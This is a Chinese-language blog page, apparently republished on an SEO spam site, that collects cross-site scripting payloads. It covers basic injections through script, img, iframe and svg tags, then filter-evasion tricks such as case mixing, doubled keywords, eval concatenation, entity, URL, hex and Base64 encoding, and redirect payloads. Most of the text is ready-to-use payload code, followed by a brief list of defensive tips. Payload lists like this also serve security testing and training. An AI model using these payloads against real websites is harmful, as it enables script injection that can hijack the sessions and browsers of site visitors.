当前位置: 首页 > wzjs >正文

做一个网站后期维护需要多少钱网络外包运营公司

做一个网站后期维护需要多少钱,网络外包运营公司,设计图的网站,有什么网站可以做名片跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。 一、无过滤情况下的基础 Pay…

在这里插入图片描述

跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。


一、无过滤情况下的基础 Payload

1. <script> 标签
  • 最直接的方式:
    <script>alert("xss");</script>
    
2. <img> 标签
  • 图片加载错误时触发:
    <img src="x" onerror=alert(1)>
    
  • 鼠标悬停或移出时触发:
    <img src=1 onmouseover="alert(1)">
    <img src=1 onmouseout="alert(1)">
    
3. <a> 标签
  • 使用伪协议 javascript: 执行代码:
    <a href="javascript:alert('xss')">test</a>
    
  • 鼠标悬停时触发:
    <a href="" onmouseover=prompt('xss')>aa</a>
    
4. <input> 标签
  • 利用焦点事件(onfocusonblur):
    <input onfocus="alert('xss');" autofocus>
    <input onblur=alert("xss") autofocus><input autofocus>
    
  • 键盘事件(onkeydownonkeypressonkeyup):
    <input type="text" onkeydown="alert(1)">
    
5. <form> 标签
  • 提交表单时触发:
    <form action=javascript:alert('xss') method="get">
    
6. <iframe> 标签
  • 加载外部资源或嵌入 JavaScript:
    <iframe src=javascript:alert('xss')></iframe>
    <iframe onload=alert("xss");></iframe>
    
7. 其他标签
  • <svg>
    <svg onload=alert(1)>
    
  • <body>
    <body onload="alert(1)">
    
  • <button>
    <button onclick="alert(1)">text</button>
    

二、存在过滤情况下的绕过技巧

1. 过滤空格
  • 使用 / 或其他符号代替空格:
    <img/src="x"/onerror=alert("xss");>
    
2. 关键字过滤
  • 大小写绕过
    <ImG sRc=x onerRor=alert("xss");>
    
  • 双写关键字绕过
    <imimgg srsrcc=x onerror=alert("xss");>
    
  • 字符拼接
    <img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
    
3. 其他字符混淆
  • 注释干扰规则:
    <<script>alert("xss");//<</script>
    
  • 利用标签优先级:
    <title><img src=</title>><img src=x onerror="alert(`xss`);">
    

三、编码与混淆绕过

1. Unicode 编码
  • 将字符串转为 Unicode 编码:
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
    
2. URL 编码
  • 使用 unescape() 解码:
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    
3. ASCII 码
  • 使用 String.fromCharCode()
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
    
4. Hex 编码
  • 使用十六进制表示字符串:
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
    
5. Base64 编码
  • 嵌入 Base64 编码内容:
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    

四、特殊场景绕过

1. 过滤括号
  • 使用 throw 绕过:
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
    
2. 过滤引号
  • 使用反引号代替引号:
    <img src="x" onerror=alert(`xss`);>
    
3. 过滤 URL 地址
  • 使用 URL 编码:
    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
    
  • 使用 IP 地址:
    <img src="x" onerror=document.location=`http://2130706433/`>
    
4. 过滤特定字符
  • 使用中文逗号代替英文逗号:
    <img src="x" onerror="document.location=`http://www。baidu。com`">
    

五、总结与建议

通过上述总结可以看出,XSS 攻击的核心在于找到输入点并利用各种方式绕过过滤机制。以下是一些建议:

  1. 开发者角度

    • 对所有用户输入进行严格的验证和清理。
    • 使用 Content Security Policy (CSP) 限制脚本来源。
    • 输出时对特殊字符进行 HTML 编码。
  2. 安全测试人员角度

    • 测试时关注各种可能的输入点,包括隐藏字段和 HTTP 头部。
    • 学会使用工具(如 Burp Suite)自动化检测漏洞。
    • 不断尝试新的绕过技巧,模拟真实攻击场景。

XSS 是一个复杂但有趣的领域,既需要理论知识的支持,也离不开实践中的不断探索。

希望本文能帮助你更好地理解 XSS 攻击及其防御方法!

http://www.dtcms.com/wzjs/454848.html

相关文章:

  • 58网站为啥做不好免费留电话号码的广告
  • 能自己做网站接业务吗营销和销售的区别
  • 设计接单推广学院seo教程
  • 做直销建立个人网站好吗百度怎么免费推广
  • 有没有专门做字体排版设的网站扬中网站制作
  • 无锡哪个网站建设比较好seo管理软件
  • the7做的网站免费建自己的网址
  • WordPress添加前台投稿上海网站营销seo方案
  • 做的烂的大网站常见的营销手段
  • 网站内容被攻击该怎么做个人可以做推广的平台有哪些
  • 电子商务网站基本功能百度公司招聘岗位
  • 传统网站建设架构必应搜索引擎入口
  • 商丘网站制作的流程在线注册免费域名
  • 苏州网站搜索引擎优化西安网站建设推广专家
  • 京建站公司建立网站要多少钱一年
  • 临淄网站制作首选公司宁波优化关键词首页排名
  • redis做网站统计广州疫情最新情况
  • php网站建设制作昆明网络营销公司哪家比较好
  • 网站如何做微信推广方案设计优势的seo网站优化排名
  • 赤峰做网站网站网络优化外包
  • 如何建一个个人的网站培训班招生方案
  • 嘉兴网站排名优化价格营销策划案ppt优秀案例
  • 自己做的网站怎样弄网上世界杯球队最新排名
  • 哪些网做网站比较好爱站网长尾关键词挖掘
  • 单县菏泽网站建设快速建网站
  • 做软装有什么网站找图片百度小程序入口
  • 做的最好的微电影网站有哪些十大免费网站推广平台有哪些
  • 网站建设通知书打开百度搜索
  • 文山市住房和城乡建设局网站深圳谷歌优化seo
  • 网站内容优化的准则营销效果分析怎么写